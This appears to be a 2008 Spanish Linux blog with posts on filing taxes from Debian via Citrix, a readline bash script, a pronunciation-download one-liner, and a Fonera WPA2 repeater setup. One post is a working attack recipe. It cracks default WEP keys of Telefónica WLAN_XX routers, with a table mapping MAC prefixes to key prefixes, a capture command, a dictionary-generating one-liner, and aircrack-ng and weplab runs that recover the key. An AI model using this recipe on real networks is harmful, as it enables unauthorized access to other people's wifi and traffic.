viernes, 13 de junio de 2008

Declaración de la renta desde Debian

A la hora de hacer la renta estuve buscando si ya por fin habían portado el programa PADRE a Linux, pero nada. Pero lo que sí que encontré es un blog en el que se comenta el proceso para, a través de un cliente Citrix, conectarse a los servidores de Hacienda y lanzar el programa desde allí, (que ellos pagan las licencias).

La entrada es muy útil, aunque encontré algunos problemas a la hora de hacer las cosas desde Debian:

Biblioteca libmotif3

El cliente Citrix necesita tener instaladas algunas librerías, por lo que se necesita el paquete libmotif3. En Sid no hay problema, ya que está en el repositorio non-free, pero en Etch, que es la que uso no está disponible. Asi que tuve que hacer un backport del paquete de Sid, ahí lo dejo:

libmotif3_2.2.3-2_i386.deb

Para Lenny puede que funcione el mismo paquete o haya que hacer un backport.

Descarga de datos

Otro de los problemas con los que me encontré fue a la hora de descargar los datos fiscales. Hay que descargarlos con anterioridad, ya que el programa PADRE en remoto no lo permite.

Para ello se va a la Agencia Tributaria -> Oficina Virtual -> Otras Opciones -> Descarga de datos fiscales (solo Mozilla-Firefox) y ahí ya se puede elejir entre utilizar el número de referencia si te ha llegado una carta o usar el certificado de usuario.

El problema viene de que en Debian se ha modificado Firefox y ahora es Iceweasel, y lo peor es que también se ha modificado el identificador del navegador. Para que en Hacienda se den cuenta de que sigue siendo Firefox hay que cambiarlo. Para ello desde el Iceweasel se entra en:

about:config

y cambiamos la entrada "general.useragent.extra.firefox" que contiene "Iceweasel/2.0.0.14" por "Firefox/2.0.0.14". Con esto ya no habrá problemas para descargar los datos.

Intrucciones globales

Tras estos retoques iniciales se pueden seguir sin problema las instrucciones en el blog:

Declaración de la Renta 2007 desde Linux

Otros cosillas
  • Los desplegables de la aplicación se seleccionan con el ratón y luego pulsando ENTER, no basta con hacer click.
  • Al cerrar la aplicación crea el archivo "Decla.100" (la extensión no debería se la de la presentación telemática, sino "ren") en el que guarda las declaraciones. Si quieres guardalas a mano "Archivo" -> "Nueva Declaración" -> "Exportar".
  • Al darle a imprimir te crea un pdf.
  • Para realizar la presentación telemática no es necesario el certificado de usuario, hay banco por Internet que te permiten entregarla en tu nombre (lo descubrí el año pasado). Con lo que se puede hacer todo sin certificado y sin salir de casa.
  • No he investigado lo del "signed.applets.codebase.principal.support", pero una vez acabado lo volvería a poner a false.

Refencias

Actualización: Al final mi banco no se tragaba el archivo 100, y lo he tenido que hacer en Windows. Que humillación!! Y que chapuza por parte del banco o de hacienda, que el formato 100 no es compatible.

Leer más…

miércoles, 11 de junio de 2008

Como usar readline con scripts interactivos

Para usar readline con read hay que usar la opción -e, pero además hay que guardar en el historial lo que se acaba de escribir con history -s, junto con utilizar otro archivo de historial y leerlo al principio y guardarlo al final, queda:
#!/bin/bash
HISTFILE=~/.script_history
history -r
trap "history -w; exit" INT TERM EXIT

while read -ep ">> " line; do
history -s "$line"
echo $line
done

Con esto a medida que vamos introduciendo líneas podemos usar la funcionalidad de readline, como subir y bajar por el historial.

Referencias

Leer más…

Pronunciación en inglés

Estaba leyendo "Dive into Python" y por eso de practicar el inglés lo estoy leyendo de verdad, cuando tengo ganas. Así que cuando dudaba en la pronunciación de alguna palabra me metia en:

siendo este último el que casi siempre tenía la pronunciación.

Además, como el navegador no me reproduce bién los sonidos, pues me puse a automatizar el proceso, resultando la siguiente línea de comandos:

mkdir /var/tmp/wav
WORD=fuck; DIR=/var/tmp/wav; PLAYER=beep-media-player; wget $(curl http://mw4.m-w.com$(curl http://mw4.m-w.com/dictionary/$WORD | grep -o "<a href=\"javascript:popWin('/cgi-bin/audio.pl?[^']*')\" class=\"audio\">" | grep -o "/[^']*" | head -n 1) | grep -o "<EMBED SRC=\"http://cougar.eb.com/[^\"]*\" HIDDEN=\"true\" AUTOSTART=\"true\">" | grep -o "http://[^\"]*") -O $DIR/$WORD.wav; $PLAYER $DIR/$WORD.wav

los valores configurables son la palabra a buscar, el directorio donde se almacena (que ya tiene que estár creado) para revisar las palabras que hemos buscado, y el reproductor de audio.

Se puede mejorar bastante: detectar que ya se ha bajado antes, avisar de que no existe la palabra o la pronunciación, ver si hay varias palabras, probar en otros diccionarios... pero bueno, eso ya cuando sepa Python.

Nota 1: para copiar la línea he tenido que darle bastantes vueltas, por eso de que tiene HTML mezclado con caracteres de escape, hasta encontré Quick Escape, que escapa el HTML y haciendo algunos retoques listo.

Nota 2: el editor del blogspot es un poco mojonero.

Leer más…

martes, 10 de junio de 2008

Ataque de diccionario a WLAN_XX

Gracias a la información proporcionada por Abel, acabo probar un ataque muy sencillo para las redes wifi. El ataque se basa en las claves por defecto de las redes wifi de Telefónica del tipo WLAN_XX, sobre algunas capturas que se realicen.

Primero seleccionamos el punto de acceso al que le vamos a realizar el ataque, que tiene que ser del tipo WLAN_XX:

# iwlist ath0 scan
ath0 Scan completed :
...
Cell 05 - Address: 00:13:49:AB:12:CD
ESSID:"WLAN_21"
Mode:Master
Frequency:2.412 GHz (Channel 1)
Quality=27/70 Signal level=-68 dBm Noise level=-95 dBm
Encryption key:on
Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 22 Mb/s
6 Mb/s; 9 Mb/s; 12 Mb/s; 18 Mb/s; 24 Mb/s
36 Mb/s; 48 Mb/s; 54 Mb/s
Extra:bcn_int=100
...

y además la MAC debería figurar en la tabla de más adelante.

Para obtener las capturas utilizamos:

airodump-ng --bssid 00:13:49:AB:12:CD -w captura ath0

y esperamos a que capture algunos paquetes, hará falta que haya algún cliente conectado. Con esto ya lo tenemos lo que encesitamos.

Las claves por defecto están formadas por un prefijo, en función de la MAC del punto de acceso:

Prefijo MAC
Prefijo clave
Modelo
00:60:B3
Z001349
Z-com
00:A0:C5
Z001349
Zyxel 650HW/660HW
00:13:49
Z001349
P-660HW-D1
00:01:38
X000138
Xavi 7768r
00:03:C9
C0030DA
Comtrend 535
00:16:38
C0030DA
Comtrend 536+
00:19:15
C0030DA
Comtrend 536+
00:30:DA
C0030DA
Comtrend 536+
00:1A:2B
C001D20
Comtrend 536+
00:1D:20
C001D20
Comtrend 536+
00:02:CF
Z0002CF
ZyGate
00:19:CB
Z0002CF
ZyGate

y un sufijo que son los dos últimos caracteres del ESSID. Por último quedan 4 dígitos hexadecimales que se deconocen, por lo que habrá que generar todas las posibles combinaciones, que son solo 65536.

Para una MAC=00:13:49:AB:12:CD con nombre WLAN_21 sería Z001349????21, y el diccionario lo crearíamos con:

PRE=Z001349; WLAN=21; seq 0 $((2**16-1)) | xargs printf "$PRE%04X$WLAN\n" > diccionario.txt

Y ya se puede pasar a realizar el ataque con:

aircrack-ng -w diccionario.txt captura-01.cap

que tarda nada y menos en dar la clave: Z0013495ADB821.

Si no hay suerte seguramente es porque la clave la han cambiado, aunque eso sería muy extraño.

ACTUALIZACIÓN: La versión 1.0beta (puede que otras también) parece que da problemas a la hora de ataques de diccionario, e ignora esa opción pasando directamente a hacer el ataque típico. Se ve porque además de tardar tiempo se pone a probar claves:

Opening captura-01.cap
Attack will be restarted every 5000 captured ivs.
Starting PTW attack with 1202 ivs.


Aircrack-ng 1.0 beta1


[00:00:03] Tested 467424 keys (got 1202 IVs)

KB depth byte(vote)
0 0/ 1 31(3072) 61(2816) 93(2816) 07(2560) 3E(2560)
1 0/ 1 F2(3072) 08(2816) 46(2816) 6C(2816) 10(2560)
2 1/ 2 CC(3072) 18(2816) 0A(2560) 16(2560) 2C(2560)
3 0/ 4 43(2560) 98(2560) DA(2560) FA(2560) 17(2304)
4 0/ 1 13(3072) 3D(2560) 52(2560) 99(2560) AF(2560)
5 0/ 1 FA(2560) 10(2304) 19(2304) 3A(2304) 4B(2304)
6 0/ 1 58(3072) DF(2816) 69(2560) 6C(2560) F9(2560)
7 0/ 1 2B(3584) 19(2816) 59(2816) 75(2816) 1F(2560)
8 0/ 1 12(3072) 91(2816) 18(2560) 67(2560) 92(2304)
9 0/ 1 91(3328) C1(3072) D0(3072) DF(2816) FB(2816)
10 0/ 1 00(2560) 02(2560) 12(2560) 6C(2560) 09(2304)
11 0/ 1 43(2560) B5(2560) C9(2560) D6(2560) 02(2304)
12 0/ 1 EE(2744) D0(2456) 36(2268) 4B(2268) 80(2232)

en vez de hacer el ataque de diccionario:

Opening captura-01.cap
Read 38146 packets.



Aircrack-ng 0.6.2


[00:00:00] Tested 45195 keys (got 1202 IVs)

KB depth byte(vote)
0 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
1 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
2 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
3 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
4 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
5 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
6 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
7 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
8 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
9 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
10 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
11 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
12 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)

KEY FOUND! [ 5A:30:30:31:33:34:39:35:41:44:42:38:32:31 ] (ASCII: Z0013495ADB821 )

Así que hay que tener cuidado con esto!

ACTUALIZACIÓN 20090223: No estoy seguro, pero parece que la versión rc1 de aircrack no hace el ataque de diccionario wep, por lo que se puede usar otro paquete:

$ sudo aptitude install weplab

y para hacer el ataque:

$ cat diccionario.txt | weplab -y -d 1 --key 128 --bssid 00:13:49:AB:12:CD captura-01.cap
...
Right KEY found!!
Passphrase was --> Z0013495ADB821
Key: 5A:30:30:31:33:34:39:35:41:44:42:38:32:31
This was the end of the dictionnary attack.

Referencias

Leer más…

lunes, 9 de junio de 2008

Fonera como repetidor WPA2-PSK: Primer intento

Después de media mañana y toda la tarde he conseguido poner la Fonera (con Kamikaze 7.09) como repetidor de WPA2-PSK. Aunque el resultado no es el ideal al menos proporciona la funcionalidad básica.

Las pegas de esta configuración son:

  • No retransmite tráfico que no sea IP, como por ejemplo el DHCP o las cosas raras de Windows. Por lo que los clientes que se conecten a través del repetidor tendrán que tener IPs fijas.
  • Es necesario configurar más cosas de las realmente necesarias, bueno, solamente el gateway.
  • Actualización: va bastante mal.

Arquitectura

La idea que tenía para montar el repetidor era crear un interfaz de punto de acceso, otro de estación y puentearlos, junto con el de cable.

El problema parece que es que los puentes de Linux no funcionan del todo bién con los interfaces wireless. En mi caso un puente con eth0 y ap (WPA2-PSK) funciona perfectamente, pero la pruebas que hice incluyendo un cliente (sta) no me funcionaron. No recuedo si con WEP no hay probemas, pero con WPA2-PSK no hay forma.

Después de darle muchas vueltas, por lo visto hay un programa, parprouted, que se encarga de "puentear" interfaces aislados, escuchando las peticiones ARP, mandándolas por los otros interfaces y añadiendo las rutas específicas.

Configuración

Lo primero es eliminar el puente de la interfaz cableada, ya que no se van a utilizar. La IP que tenga tiene que ser de la subred que se vaya a retransmitir, también tenemos el gateway por defecto y los DNS. En /etc/config/network:

...
config interface lan
option ifname eth0
option type bridge
option proto static
option ipaddr 192.168.2.200
option netmask 255.255.255.0
option gateway 192.168.2.1
option dns "80.58.61.250 80.58.61.254"
...

y reiniciando la red se ve que el eth0 ya no está en el puente, que se puede borrar:

root@OpenWrt:/# /etc/init.d/network restart
root@OpenWrt:/# brctl show
bridge name bridge id STP enabled interfaces
br-lan 8000.000000000000 no
root@OpenWrt:/# brctl delbr br-lan

Otra cosa que hay que eliminar es el firewall, ya que se quiere comunicar todos los interfaces:

root@OpenWrt:/# /etc/init.d/firewall stop
root@OpenWrt:/# /etc/init.d/firewall disable

Tras esto montamos la parte wifi, empezando por la parte que funciona de punto de acceso (ap), ya que tiene preferencia en la numeración de los athX, tomará siempre ath0. Instalamos:

root@OpenWrt:/# ipkg install hostapd-mini

configuramos los parámetros wifi apadiendo en /etc/config/wireless:

config wifi-iface
option device wifi0
option mode ap
option ssid WLAN_7A
option encryption psk2
option key kakafuti

y le ponemos otra IP de la subred:

config interface ap
option ifname ath0
option proto static
option ipaddr 192.168.2.201
option netmask 255.255.255.0

Y reiniciando la red ya se podría comprobar a acceder desde otro dispositivo wifi con IP fija y hacer ping a su IP.

Ahora pasamos a configurar el otro extremo que se el modo estación (sta). Se intala:

root@OpenWrt:/# ipkg install wpa-supplicant

y se configura en /etc/config/wireless:
config wifi-iface
option device wifi0
option mode sta
option ssid WLAN_7A
option encryption psk2
option key kakafut

y en /etc/config/network:

config interface sta
option ifname ath1
option proto static
option ipaddr 192.168.2.202
option netmask 255.255.255.0

Y se podría probar a acceder al punto de acceso original, incluyendo una ruta para que se salga por este interfaz, al hacer añadido IPs de la misma subred en todos los interfaces:

root@OpenWrt:/# /etc/init.d/network restart
root@OpenWrt:/# ip route add 192.168.2.1/32 dev ath1
root@OpenWrt:/# ping 192.168.2.1
PING 192.168.2.1 (192.168.2.1): 56 data bytes
64 bytes from 192.168.2.1: icmp_seq=0 ttl=64 time=5.9 ms

Por último lo que queda es hacer que se comuniquen todos los interfaces, para lo que usamos el demonio parprouted:

root@OpenWrt:/# ipkg install parprouted

y lo configuramos en /etc/default/parprouted:

OPTIONS="$lan_ifname $wifi_ifname"
OPTIONS="eth0 ath0 ath1"
y hacemos que el demonio se active al arrancar:
root@OpenWrt:/# /etc/init.d/parprouted enable
Con esto ya se podría acceder al repetidor y funcionaría como si se accediese al punto de acceso original, pero al trabajar solo a nivel IP, si se quiere acceder a fuera de la red no funciona,es necesario añadir una ruta para el acceso al exterior. Pero esta ruta tiene que ser a través del interfaz sta (ath1) pero al configurarlo con /etc/config/network siempre se asocia a eth0, por lo que se hace la chapuza y se modifica en /etc/init.d/parprouted, que se lanza después de la red (ver /etc/rc.d):
...

start() {
ip route replace default via 192.168.2.1 dev ath1

[ -f $DEFAULT ] && . $DEFAULT
$BIN $OPTIONS
}

...

Es una chapucilla, pero funciona.

Con esto ya se podría pasar a reiniciar:

root@OpenWrt:/# reboot

y ver si funciona.

Pruebas

Se comprobó que desde mi Wii se podía acceder a internet (con IP fija, pero no con IP dinámica), y si se apagaba el repetidor la comunicación continuaba con el punto de acceso original. Con lo que se comprueba que no hay problemas al utilizar un mismo SSID como ap y como sta.

Mejoras

Para mejorar el sistema se podría probar con:

  • Utilizar el demonio dhcp-forwader, para que el DHCP funcionase y no fuera necesario utilizar IPs fijas. Estuve probándolo pero no conseguí que funcionase.
  • Eliminar tantas IPs de red. Según la documentación del parprouted solo es necesario que todos los interfaces tengan IP, aunque no la de la subred que se vaya puentear. Si se pusiera una de la red en el interfaz ap, lo mismo se solucionaba lo de las rutas y bastaría con una sola IP de gestión. No lo hize por miedo a quedarme sin acceso por cable a la Fonera.
  • Investigar como se podría hacer un verdadero puente, con ebtables o ...
  • Si se utilizan varios repetidores en cascada hay que tener cuidado de que no se asocien en bucles, por lo que habría que indicar las MACs.
Referencias

Leer más…